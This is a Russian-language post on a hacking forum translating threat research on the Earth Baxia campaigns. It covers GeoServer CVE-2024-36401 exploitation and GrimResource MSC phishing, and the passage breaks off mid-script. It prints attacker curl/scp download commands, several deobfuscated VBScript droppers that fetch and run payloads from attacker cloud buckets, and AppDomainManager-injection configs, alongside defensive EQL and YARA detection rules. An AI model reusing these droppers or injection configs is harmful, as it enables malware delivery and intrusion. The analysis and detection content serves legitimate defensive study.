• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Как китайцы используют уязвимости GeoServer и GrimResource для атак на Азиатско-Тихоокеанский регион

Нужны ли PDF версии статей/переводов?

  • Да

    Голосов: 7 70.0%
  • Нет

    Голосов: 0 0.0%
  • Главное чтоб был текст

    Голосов: 3 30.0%

  • Всего проголосовало
    10
  • Опрос закрыт .

ordinaria1

(L1) cache
Забанен
Регистрация
14.04.2019
Сообщения
832
Решения
2
Реакции
870
Гарант сделки
4
Депозит
5 Ł
Пожалуйста, обратите внимание, что пользователь заблокирован
Перевод:
https://www.trendmicro.com/en_us/research/24/i/earth-baxia-spear-phishing-and-geoserver-exploit.html
https://www.elastic.co/security-labs/grimresource
https://www.tgsoft.it/news/news_archivio.asp?id=1568&lang=eng

PDF версия - http://**************************************************************/b/3lUwo2oshgoN4jkmsQvJBt (смотрим опрос).

В июле компания TrendMicro наблюдала активность, нацеленную на государственную организацию в Тайване, при этом другие страны Азиатско-Тихоокеанского региона также стали мишенью.

В этих кампаниях Earth Baxia (и не только) использовали фишинговые письма и эксплуатировали CVE-2024-36401 (и CVE-2024-43572), уязвимость в сервере с открытым исходным кодом для обмена геопространственными данными под названием GeoServer, в качестве начальных векторов доступа, развертывая на скомпрометированных машинах Cobalt Strike. Кроме того, был выявлен новый бэкдор под названием EAGLEDOOR, который поддерживает несколько протоколов. В этой статье мы обсудим их цепочку заражения/техник и предоставим подробный анализ вовлеченного вредоносного ПО.

Атрибуция и виктимология​

В ходе расследования было обнаружено, что множество серверов размещались на Alibaba или находились в Гонконге, а некоторые сэмплы были загружены на VirusTotal из Китая. После проверки одного из водяных знаков Cobalt Strike (666666), используемых злоумышленниками, на платформе Shodan, было обнаружено, что несколько машин были связаны с этим водяным знаком, большинство из которых находились в Китае (Таблица 1). Таким образом, скорее всего, APT-группа, стоящая за этими кампаниями, происходит из Китая.

СтранаКоличество машин
Китай13
Япония1
Сингапур1
Машины, связанные с водяным знаком Cobalt Strike 666666.

На основе собранных фишинговых писем, документов и наблюдений за инцидентами, похоже, что целями являются в первую очередь государственные учреждения, телекоммуникационные компании и энергетическая отрасль на Филиппинах, в Южной Корее, Вьетнаме, Тайване и Таиланде (Рисунок 1). Примечательно, что был также обнаружен "документ-ловушка", написанный на упрощенном китайском языке, что свидетельствует о том, что Китай также является одной из затронутых стран.

1740262311332.png

Рисунок 1. Карта затронутых регионов.

Цепочка заражения​

В этом разделе мы обсудим поток атак группы угроз, как это было определено нашей телеметрией, включая вредоносное ПО и тактики, техники и процедуры (TTP), как показано на Рисунке 2.

1740262685725.png

Рисунок 2. Обзор цепочки атак.

Первичный доступ​

Уязвимый GeoServer

В некоторых случаях Earth Baxia использовала CVE-2024-36401, уязвимость удаленного выполнения кода (RCE) на GeoServer, чтобы выполнять произвольные команды:
Расследование TrendMicro показало, что они использовали команды, такие как “curl” и “scp”, чтобы загрузить или скопировать вредоносные компоненты в среду жертвы, а затем выполнили эти компоненты с помощью уязвимости RCE (Таблица 2).

Загрузка файла через curl выглядит следующим образом:

curl --connect-timeout 3 -m 10 -o c:\windows\temp\{file name} http://[B]167[.]172[.]89[.]142[/B]/{file name}

Копирование удаленного файла через scp выглядит следующим образом:

cmd /c "scp -P 23 -o StrictHostKeyChecking=no -o ConnectTimeout=3 -o UserKnownHostsFile=C:\windows\temp\ t1sc@[B]152[.]42[.]243[.]170[/B]:/tmp/bd/{имя файла} c:\windows\temp\"

Имя файлаОписание
Edge.exeЗаконный исполняемый файл, используемый для загрузки msedge.dll
msedge.dllЗловредный загрузчик (SWORDLDR), используемый для запуска Cobalt Strike (Logs.txt)
Logs.txtНастроенный шеллкод Cobalt Strike
Компоненты, загруженные с помощью RCE-эксплойта

Вектор фишингового email

В начале августа Earth Baxia начала использовать фишинговые письма для продвижения своих атак. Одна из жертв сообщила о получении более 70 писем в течение примерно двух недель. Также были найдены аналогичные вложения в электронной почте на VirusTotal. Анализ документов предполагает, что злоумышленники могли нацелиться не только на Тайвань, но и на Вьетнам и Китай.

Большинство тем электронных писем тщательно адаптированы с различным содержанием; прикрепленный ZIP-файл содержит поддельный MSC-файл, который TrendMicro назвали "RIPCOY". На этом этапе, когда пользователь дважды щелкает по этому файлу, встроенный обфусцированный VBScript пытается загрузить несколько файлов из публичного облачного сервиса, обычно это Amazon Web Services (AWS) или Microsoft Azure, в технике, называемой GrimResource. Эти файлы включают поддельный PDF-документ, .NET-приложения и файл конфигурации.

Приложения .NET и файл конфигурации, сброшенные MSC-файлом, затем используют технику, известную как внедрение AppDomainManager, которая позволяет внедрять пользовательскую область приложения для выполнения произвольного кода в процессе целевого приложения. Это позволяет выполнять любое приложение .NET для загрузки произвольной управляемой DLL, как локально, так и удаленно с веб-сайта, без прямого вызова каких-либо вызовов API Windows (Рисунок 3).

1740262750021.png

Рисунок 3. Конфигурационный файл содержит сайты загрузки, используемые приложением .NET Framework

Легитимные приложения .NET затем приступают к загрузке даунлодера следующей стадии, основываясь на URL-адресе, указанном в файле .config, который ведет к файлу .NET DLL (Рисунок 4).

URL-адрес для этой загрузки обфусцирован с использованием Base64 и AES-шифрования. Большинство обнаруженных на этом этапе сайтов загрузки размещались в публичных облачных сервисах типа Aliyun (Alibaba), Amazon, Azure. После получения шелл-кода DLL выполняет его с помощью API CreateThread, причем все процессы выполняются полностью в памяти.

1740262870257.png

Рисунок 4. Файл .NET DLL содержит сайт загрузки с обфусцированным кодом

Шеллкод собирает информацию с зараженной машины, включая имя пользователя, имя компьютера, родительский процесс (легитимное приложение .NET) и состояние памяти. Эта информация добавляется как параметр client_id к URL-адресу и отправляется на пользовательский домен. В ответ может быть получен 64-символьный ответ от сервера, который затем используется для запроса следующей полезной нагрузки по URL (Рисунок 5). Однако получить финальный пейлоад TrendMicro не удалось.

1740262832063.png

Рисунок 5. Скриншот анализа сетевого трафика из песочницы VirusTotal

Шелл-код демонстрировал несколько характерных особенностей:
  • Домены были замаскированы под облачные сервисы, используя названия вроде s3cloud-azure или s2cloud-amazon. Каждый запрос следовал определенному шаблону, включая уникальную строку user-agent и данные в формате JSON.
  • Финальная стадия процесса загрузки всегда имела путь /api/v1/homepage/, что позволяет предположить, что файл все ещё может быть размещен в облачном сервисе.
  • Размещая файлы в облаке, атакующий получает преимущество в виде возможности легко заменять или обновлять файлы, включая файлы .config с различными ссылками для загрузки, что значительно усложняет для нас отслеживание их активности.
Хотя TrendMicro не подтвердили, чем являлся финальный шелл-код, телеметрия показала, что oncesvc.exe, запущенный файлом MSC, выполнял другой процесс, Edge.exe, для загрузки компонентов Cobalt Strike msedge.dll и Logs.txt. В следующем разделе подробнее обсудим эти компоненты.

******

GrimResource​

Тут будет отступление для общего понимания. Видос от xranitel тут.

После того как Microsoft отключила макросы Office по умолчанию для документов из интернета, другие векторы заражения, такие как JavaScript, MSI файлы, LNK объекты и ISO, стали более популярными.

Исследователи Elastic обнаружили новую технику заражения, также использующую MSC файлы, которую назвали GrimResource. Она позволяет злоумышленникам получить полный код выполнения в контексте mmc.exe после того, как пользователь щелкает на специально подготовленный MSC файл. Пример с использованием GrimResource был впервые загружен на VirusTotal 6 июня.

Анализ​

Ключ к технике GrimResource заключается в использовании старой уязвимости XSS в apds.dll библиотеке. Добавив ссылку на уязвимый ресурс APDS в соответствующем разделе StringTable созданного файла MSC, злоумышленники могут выполнять произвольный javascript в контексте mmc.exe. Злоумышленники могут комбинировать эту технику с DotNetToJScript для получения произвольного выполнения кода.

1740262925574.png


На момент написания образец, обнаруженный в "дикой природе", имел 0 обнаружений в VirusTotal.

1740263061159.png


Образец начинается с техники обфускации transformNode, которая была замечена в недавних, но не связанных макрообразцах. Это помогает избежать предупреждений безопасности ActiveX.

1740263196795.png

Техника обхода и обфускации transformNode

Это приводит к созданию обфусцированного встроенного VBScript, как показано ниже:

1740263290889.png

Обфусцированный VBScript

VBScript устанавливает целевую нагрузку в серии переменных окружения и затем использует DotNetToJs технику для выполнения встроенного .NET загрузчика. TrendMicro назвали этот компонент PASTALOADER.

1740263721433.png

Установка переменных окружения боевой полезной нагрузки

1740263391114.png

Техника загрузки DotNetToJs

PASTALOADER извлекает нагрузку из переменных окружения, установленных VBScript на предыдущем шаге:

1740263627892.png

Загрузчик PASTALOADER извлекает пейлоад

Наконец, PASTALOADER создает новый экземпляр dllhost.exe и инжектирует в него нагрузку. Это делается в преднамеренно скрытном режиме с использованием DirtyCLR техники, функции анхукания и косвенных системных вызовов. В этом примере конечная нагрузка - Cobalt Strike.

92573b01.png

Полезная нагрузка, внедренная в dllhost.exe

Выполнение через Microsoft Common Console​

Это обнаружение было установлено до того, как Elastic выявили новый метод выполнения. Изначально оно было разработано для идентификации другого метода (который требует от пользователя кликнуть на Taskpad после открытия MSC файла), использующего тот же тип файла MSC для выполнения команд через атрибут командной строки Console Taskpads:

45f6ef11.png


Код:
process where event.action == "start" and
 process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and  process.parent.args : "*.msc" and
 not process.parent.args : ("?:\\Windows\\System32\\*.msc", "?:\\Windows\\SysWOW64\\*.msc", "?:\\Program files\\*.msc", "?:\\Program Files (x86)\\*.msc") and
 not process.executable :
              ("?:\\Windows\\System32\\mmc.exe",
               "?:\\Windows\\System32\\wermgr.exe",
               "?:\\Windows\\System32\\WerFault.exe",
               "?:\\Windows\\SysWOW64\\mmc.exe",
               "?:\\Program Files\\*.exe",
               "?:\\Program Files (x86)\\*.exe",
               "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE",
               "?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")

Срабатывание происходит здесь, потому что образец решил создать и внедрить жертвенный экземпляр dllhost.exe:

5bcc9c95.png


Создание COM-объекта .NET в нестандартном интерпретаторе Windows Script​

Образец использует технику DotNetToJScript, которая вызывает другое обнаружение, отслеживающее выделение памяти RWX от .NET от имени движка скриптов Windows Script Host (WSH) (Jscript или Vbscript):

Следующее правило EQL обнаружит выполнение через загрузчик .NET:

Код:
api where
  not process.name : ("cscript.exe", "wscript.exe") and
  process.code_signature.trusted == true and
  process.code_signature.subject_name : "Microsoft*" and
  process.Ext.api.name == "VirtualAlloc" and
  process.Ext.api.parameters.allocation_type == "RESERVE" and
  process.Ext.api.parameters.protection == "RWX" and
  process.thread.Ext.call_stack_summary : (
    /* .NET is allocating executable memory on behalf of a WSH script engine
     * Note - this covers both .NET 2 and .NET 4 framework variants */
    "*|mscoree.dll|combase.dll|jscript.dll|*",
    "*|mscoree.dll|combase.dll|vbscript.dll|*",
    "*|mscoree.dll|combase.dll|jscript9.dll|*",
    "*|mscoree.dll|combase.dll|chakra.dll|*"
)

Следующее предупреждение показывает, как mmc.exe выделяет память RWX, а process.thread.Ext.call_stack_summary фиксирует источник выделения от vbscript.dll до clr.dll:

c01b8b35.png

mmc.exe выделяет память RWX

Выполнение скрипта через файл MMC Console​

Два предыдущих обнаружения были вызваны специфическими особенностями реализации для превращения метода GrimResource в боевой (DotNetToJS и создание дочернего процесса). Эти обнаружения можно обойти, используя более безопасные с точки зрения OPSEC альтернативы.

Другие поведения, которые изначально могут показаться подозрительными — такие как загрузка mmc.exe библиотек jscript.dll, vbscript.dll и msxml3.dll — можно сравнить с доброкачественными данными. Мы видим, что за исключением vbscript.dll, эти движки WSH обычно загружаются процессом mmc.exe:

fe91852a.png

Нормальное поведение при загрузке библиотеки с помощью mmc.exe

Основной аспект этого метода включает использование [URL='https://strontic.github.io/xcyclopedia/library/apds.dll-DF461ADCCD541185313F9439313D1EE1.html']apds.dll[/URL] для выполнения Jscript через XSS. Это поведение видно в выводе Procmon для mmc.exe как операция CreateFile (при этом apds.dll не загружается как библиотека):

0f6c3dcb.png

apds.dll вызывается в StringTable файла MSC

fbb4c287.png

Пример успешного выполнения GrimResource

Elastic добавили следующее обнаружение, используя события открытия файлов Elastic Defend, где целевым файлом является apds.dll, а process.name - mmc.exe:

Следующее правило EQL обнаружит выполнение скрипта из консоли MMC:

Код:
sequence by process.entity_id with maxspan=1m
 [process where event.action == "start" and
  process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
 [file where event.action == "open" and file.path : "?:\\Windows\\System32\\apds.dll"]

ce85157b.png

Шкала, показывающая выполнение скрипта с помощью консоли MMC

Выполнение Windows Script через файл консоли MMC​

Другим признаком обнаружения и форензическим артефактом является создание временного HTML-файла в папке INetCache с именем redirect[*] в результате редиректа APDS XSS:

86e92859.png

Содержание redirect.html

Следующая EQL-корреляция может быть использована для обнаружения этого поведения, при этом также захватывая путь к файлу msc:
Код:
sequence by process.entity_id with maxspan=1m
 [process where event.action == "start" and
  process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
 [file where event.action in ("creation", "overwrite") and
  process.executable :  "?:\\Windows\\System32\\mmc.exe" and file.name : "redirect[?]" and
  file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*\\redirect[?]"]

cbc3241a.png

Шкала, обнаруживающая redirect.html

Наряду с предоставленными правилами поведения, следующее правило YARA может быть использовано для обнаружения подобных файлов:

Код:
rule Windows_GrimResource_MMC {
    meta:
        author = "Elastic Security"
        reference = "https://www.elastic.co/security-labs/GrimResource"
        reference_sample = "14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb"
        arch_context = "x86"
        scan_context = "file, memory"
        license = "Elastic License v2"
        os = "windows"
    strings:
        $xml = "<?xml"
        $a = "MMC_ConsoleFile"
        $b1 = "apds.dll"
        $b2 = "res://"
        $b3 = "javascript:eval("
        $b4 = ".loadXML("
    condition:
       $xml at 0 and $a and 2 of ($b*)
}

Кампания от 2 августа 2024 года​

2 августа 2024 года была выявлена e-mail кампания со следующим прикрепленным файлом: 水域污染詳細訊息.msc.
SHA256: 4edc77c3586ccc255460f047bd337b2d09e2339e3b0b0c92d68cddedf2ac1e54.

Если перевести название файла с китайского на русский, то документ означает: Подробная информация о загрязнении воды.msc
Изображение цепи заражения:

0c6ab257.jpg


MSC-файл через GrimResource автоматически выполняет следующий скрипт:

6f94855e.png


Расшифровав его, получается более читабельный код:

Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//wordpresss-data[.]s3[.]me-south-1[.]amazonaws[.]com/oncesvc.exe"
strURL2 = "https[:]//wordpresss-data[.]s3[.]me-south-1[.]amazonaws[.]com/oncesvc.exe.config"
strURL3 = "https[:]//wordpresss-data[.]s3[.]me-south-1[.]amazonaws[.]com/water.txt"
strShowfileURL = "https[:]//wordpresss-data[.]s3.me-south-1[.]amazonaws[.]com/ws.pdf"
strDownloadPath1 = "C:\Users\Public\oncesvc.exe"
strDownloadPath2 = "C:\Users\Public\oncesvc.exe.config"
strDownloadPath3 = "C:\Users\Public\water.txt"
strShowfilePath = "C:\Users\Public\wrasb.pdf"
strExecutablePath = "C:\Users\Public\oncesvc.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
    DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
    DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
    DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
    DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
Sub DownloadFile(url, path)
    Dim objStream
    Set objStream = CreateObject("ADODB.Stream")
    objHTTP.Open "GET", url, False
    objHTTP.Send
    If objHTTP.Status = 200 Then
        objStream.Open
        objStream.Type = 1 ' adTypeBinary
        objStream.Write objHTTP.ResponseBody
        objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
        objStream.Close
    End If
    Set objStream = Nothing
End Sub

Сценарий загружает следующие файлы в папку C:\Users\Public:
  • oncesvc.exe (Легитимный файл Microsoft «ClickOnce»)
  • oncesvc.exe.config (Конфигурационный файл для загрузки вредоносной DLL)
  • water.txt (Неиспользуемый файл, вероятно, для отслеживания заражения)
  • ws.pdf (Приманка)
Скрины PDF:

33266ca9.jpg
b690b182.jpg


Файл oncesvc.exe.config содержит следующую конфигурацию:

XML:
<configuration>
   <runtime>
      <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
         <dependentAssembly>
            <assemblyIdentity name="oncesvc" publicKeyToken="205fcab1ea048820" culture="neutral" />
            <codeBase version="0.0.0.0" href="https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111985.jpeg"/>
         </dependentAssembly>
      </assemblyBinding>
      <etwEnable enabled="false" />
      <appDomainManagerAssembly value="oncesvc, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />
      <appDomainManagerType value="oncesvc" />
   </runtime>
</configuration>

Что позволяет загрузить DLL с адреса https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111985.jpeg с помощью техники App Domain Manager Injection.

Вредоносная DLL, которая выполняется процессом ONCESVC.EXE, загружает с сайта https[:]//360photo[.]oss-cn-hongkong[.]aliyuncs[.]com/202407111522.jpeg полностью бездисковый 64-битный шеллкод.

На рисунке мы можем видеть расшифровку обфусцированного URL с помощью AES и выполнение загруженного потока шеллкода:

79e13b0d.png


Шеллкод использует пользовательский алгоритм DBJ2 для определения хэша имен API, которые будут использоваться, как мы видим на рисунке:

5a28f336.png


64-битный шеллкод подключается к домену status[.]s3cloud-azure[.]com на порту 8080 по пути: /common/oauth2/authorize?client_id=<ID клиента>, отправляя следующий запрос через POST: {"user":"password"}

Следующая информация отправляется в поле client_id в формате base64:
  • имя пользователя с указанием, является ли он Администратором (isAdmin)
  • имя компьютера
  • имя процесса
  • указание архитектуры операционной системы (32 или 64 бит)
  • системная память
Затем шеллкод вызывает следующую страницу: /api/v1/homepage/<id>

388e16ae.png


Если полученный ответ отличается от:
  • NULL
  • 404 Not Found!
То выполняется новый шеллкод, как мы видим на рисунке:

08d4d863.png


В ходе анализа шеллкод загрузил и выполнил третью стадию, содержащую Marte Beacon с CobaltStrike, который подключился к домену: static[.]trendmicrotech[.]com на порту 8443 (ipv6: 2a06:98c1:3120:0:0:0:0:7) по следующим страницам:
  • GET /etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts
  • POST /OneCollector/1.0
Эта версия CobaltStrike создала следующий канал: \.\pipe\srvsvc-1-5-5-067b62

Кампания 2 августа была нацелена на правительство Тайваня, как сообщает StrikeReady_Labs:


Кампания от 16 июля 2024 года​

16 июля 2024 года файл Cert.msc был загружен в VirusTotal из Вьетнама.
SHA256: fb640cfb9a86b9dc6806b048c6a88ef6ff546ca830a147322b4e3a3646b70942.

Предполагается, что это первая кампания, в которой злоумышленник использовал технику GrimResource. MSC файл содержит обфусцированный скрипт, из которого получается следующее:

Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2
Dim strDownloadPath1, strDownloadPath2
Dim strExecutablePath
strURL1 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe"
strURL2 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe.config"
strDownloadPath1 = "C:\Users\Public\Music\Cert.exe"
strDownloadPath2 = "C:\Users\Public\Music\Cert.exe.config"
strExecutablePath = "C:\Users\Public\Music\Cert.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
    DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
    DownloadFile strURL2, strDownloadPath2
End If
objShell.Run strExecutablePath, 1, True
Sub DownloadFile(url, path)
    Dim objStream
    Set objStream = CreateObject("ADODB.Stream")
    objHTTP.Open "GET", url, False
    objHTTP.Send
    If objHTTP.Status = 200 Then
        objStream.Open
        objStream.Type = 1 ' adTypeBinary
        objStream.Write objHTTP.ResponseBody
        objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
        objStream.Close
    End If
    Set objStream = Nothing
End Sub

Скрипт внутри MSC файла загружает следующие файлы:
  • https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe.config
  • https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Cert.exe
  • https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/ServiceHub.json
  • https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/205fcab1ea04882.jpg
Следующие файлы были недоступны во время анализа:
  • Cert.exe
  • ServiceHub.json
Файл Cert.exe должен был быть программой ServiceHub.Host.netfx.x64.exe.

Файл Cert.exe.config содержит следующую конфигурацию:

XML:
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="ServiceHub" publicKeyToken="205fcab1ea048820" culture="neutral" />
<codeBase version="0.0.0.0" href="https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/ServiceHub.json"/>
</dependentAssembly>
</assemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerAssembly value="ServiceHub, Version=0.0.0.0, Culture=neutral, PublicKeyToken=205fcab1ea048820" />
<appDomainManagerType value="ServiceHub" />
</runtime>
</configuration>

Предполагается, что файл ServiceHub.json является вредоносной DLL, которая загружается через технику AppDomainManager Injection, а файл 205fcab1ea04882.jpg напрямую содержит Marte Beacon с CobaltStrike, который подключался к сайту: us2[.]s3bucket-azure[.]online (ipv6: 2a06:98c1:3120:0:0:0:0:7) на странице /etc.clientlibs/microsoft/clientlibs/clientlib-mwf-new/resources/fonts

Кампания 16 июля 2024 года не использовала 64-битный шеллкод, который наблюдался в кампании 2 августа, а вместо этого напрямую выполняла Marte Beacon с Cobalt Strike, как показано на рисунке:

ebdad5ec.jpg


Кампания от 12 августа 2024 года​

12 августа 2024 года файл Document_new.pdf.msc был загружен в VirusTotal из Вьетнама.
SHA256: ca05513c365c60a8fdabd9e21938796822ecda03909b3ee5f12eb82fefa34d84.

MSC файл содержит обфусцированный скрипт, из которого получается следующее:

Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/a85f760d1f9cd374.json"
strURL2 = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/a85f760d1f9cd374.config"
strURL3 = "https[:]//yitoo[.]oss-cn-hongkong[.]aliyuncs[.]com/calc.exe"
strShowfileURL = "https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/Document_new.pdf"
strDownloadPath1 = "C:\Windows\Temp\Service.exe"
strDownloadPath2 = "C:\Windows\Temp\Service.exe.config"
strDownloadPath3 = "C:\Users\Public\win.ini"
strShowfilePath = "C:\Users\Public\Documents\Documents.pdf"
strExecutablePath = "C:\Windows\Temp\Service.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
    DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
    DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
    DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
    DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, False
objShell.Run strShowfilePath, 1, False
Sub DownloadFile(url, path)
    Dim objStream
    Set objStream = CreateObject("ADODB.Stream")
    objHTTP.Open "GET", url, False
    objHTTP.Send
    If objHTTP.Status = 200 Then
        objStream.Open
        objStream.Type = 1 ' adTypeBinary
        objStream.Write objHTTP.ResponseBody
        objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
        objStream.Close
    End If
    Set objStream = Nothing
End Sub

Единственным компонентом, к которому имеется доступ, был файл calc.exe, который хранился внутри общедоступной папки под именем win.ini. В ходе анализа не удалось восстановить большинство файлов (404), использованных в атаке.

Кампания от 15 августа 2024 года​

15 августа 2024 года файл readme(解压密码).msc был загружен в VirusTotal. Имя файла readme(解压密码).msc можно перевести как readme(пароль_для_распаковки).msc
SHA256: f1d519f43c36e24a89b351f00059a1bdb9afc2a339f7301117babb484e2cc555.

MSC файл содержит обфусцированный скрипт, из которого получается следующий вывод:

Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//app-dimensiona[.]s3[.]sa-east-1[.]amazonaws[.]com/oncesvc.exe"
strURL2 = "https[:]//bjj-files-production[.]s3[.]sa-east-1[.]amazonaws[.]com/msedge.dll"
strURL3 = "https[:]//app-dimensiona[.]s3[.]sa-east-1[.]amazonaws[.]com/oncesvc.exe.config"
strShowfileURL = "https[:]//app-dimensiona[.]s3[.]sa-east-1[.]amazonaws[.]com/readme.docx"
strDownloadPath1 = "C:\Users\Public\oncesvc.exe"
strDownloadPath2 = "C:\Users\Public\msedge.dll"
strDownloadPath3 = "C:\Users\Public\oncesvc.exe.config"
strShowfilePath = "C:\Users\Public\readme.docx"
strExecutablePath = "C:\Users\Public\oncesvc.exe"
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
If Not objFSO.FileExists(strDownloadPath1) Then
    DownloadFile strURL1, strDownloadPath1
End If
If Not objFSO.FileExists(strDownloadPath2) Then
    DownloadFile strURL2, strDownloadPath2
End If
If Not objFSO.FileExists(strDownloadPath3) Then
    DownloadFile strURL3, strDownloadPath3
End If
If Not objFSO.FileExists(strShowfilePath) Then
    DownloadFile strShowfileURL, strShowfilePath
End If
objShell.Run strExecutablePath, 1, True
objShell.Run strShowfilePath, 1, True
Sub DownloadFile(url, path)
    Dim objStream
    Set objStream = CreateObject("ADODB.Stream")
    objHTTP.Open "GET", url, False
    objHTTP.Send
    If objHTTP.Status = 200 Then
        objStream.Open
        objStream.Type = 1 ' adTypeBinary
        objStream.Write objHTTP.ResponseBody
        objStream.SaveToFile path, 2 ' adSaveCreateOverWrite
        objStream.Close
    End If
    Set objStream = Nothing
End Sub

Эта кампания схожа с кампанией 2 августа, где файл oncesvc.exe используется для загрузки вредоносной DLL, скачанной с: https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/af7ffc2a629a1c258336fde8a1f71e0a.json. Вредоносная DLL загружает 64-битный шеллкод с https[:]//speedshare[.]oss-cn-hongkong[.]aliyuncs[.]com/2472dca8c48ab987e632e66caabf86502bf3.xml.

64-битный шеллкод похож на тот, что наблюдался 2 августа, сервер C&C в этом случае - api[.]s2cloud-amazon[.]com. POST-запрос, используемый в этом случае: {"user":"password1"}, немного отличается от кампании 2 августа. Снова шеллкод загрузил Marte Beacon с Cobalt Strike, который оказался той же версией, что наблюдалась в кампании 2 августа.

Кампания от 20 августа 2024 года​

20 августа 2024 года файл Hướng dẫn và yêu cầu kiểm tra, giám sát hoạt động của từng đơn vị năm 2024.msc был загружен на VirusTotal.
SHA256: 1e6c661d6981c0fa56c011c29536e57d21545fd11205eddf9218269ddf53d448.

Кампания нацелена на Вьетнам, примерный перевод имени файла с вьетнамского: Инструкции и требования по проверке и надзору за деятельностью каждого подразделения в 2024 году.msc

MSC файл похож на те, что наблюдались в предыдущих кампаниях, файл ONCESVC.EXE заменен на MUSICV.EXE. Конфигурационный файл такой же, как в кампании 15 августа, загружается тот же 64-битный шеллкод и тот же Marte Beacon с Cobalt Strike. Интересным является документ-приманка на тему "Вьетнамская нефть и газ":

b6b05952.jpg
326fef4b.jpg


Кампания 19 августа 2024 года​

23 августа 2024 года файл 贵州电视台张青副台长腐败内部视频证据.msc был загружен на VirusTotal.
SHA256: 6be4dd9af27712f5ef6dc7d684e5ea07fa675b8cbed3094612a6696a40c664ce.

Кампания, возможно, была нацелена на Францию и была проведена 19 августа 2024 года, перевод имени файла с китайского: Внутренние видеодоказательства коррупции заместителя директора Чжан Цин телестанции Гуйчжоу.msc.

MSC файл похож на тот, что наблюдался в предыдущей кампании 20 августа, где используется программа MUSICV.EXE. В ходе анализа не удалось загрузить вредоносную DLL по ссылке https://speedshare.oss-cn-hongkong.aliyuncs[.]com/af7ffc2a629a1c258336fde8a1f71e0a.json. Ссылка та же, что и в кампании 20 августа.

MSC файл содержит обфусцированный скрипт, из которого получается следующий вывод:

Код:
Option Explicit
Dim objShell, objFSO, objHTTP
Dim strURL1, strURL2, strURL3, strShowfileURL
Dim strDownloadPath1, strDownloadPath2, strDownloadPath3, strShowfilePath
Dim strExecutablePath
strURL1 = "https[:]//proradead[.]s3[.]sa-east-1[.]amazonaws[.]com/new.exe"
strURL2 = "https[:]//proradead[.]s3[.]sa-east-1[.]amazonaws[.]com/new.exe.config"
strURL3 = "https[:]//proradead[.]s3[.]sa-east-1[.]amazonaws[.]com/new.txt"
strShowfileURL = "http[:]//152[.]42[.]226[.]161/stime/1x.mp4"
strDownloadPath1 = "C:\Users\Public\Music\musicx.exe"
strDownloadPath2 = "C:\Users\Public\Music\musicx.exe.config"
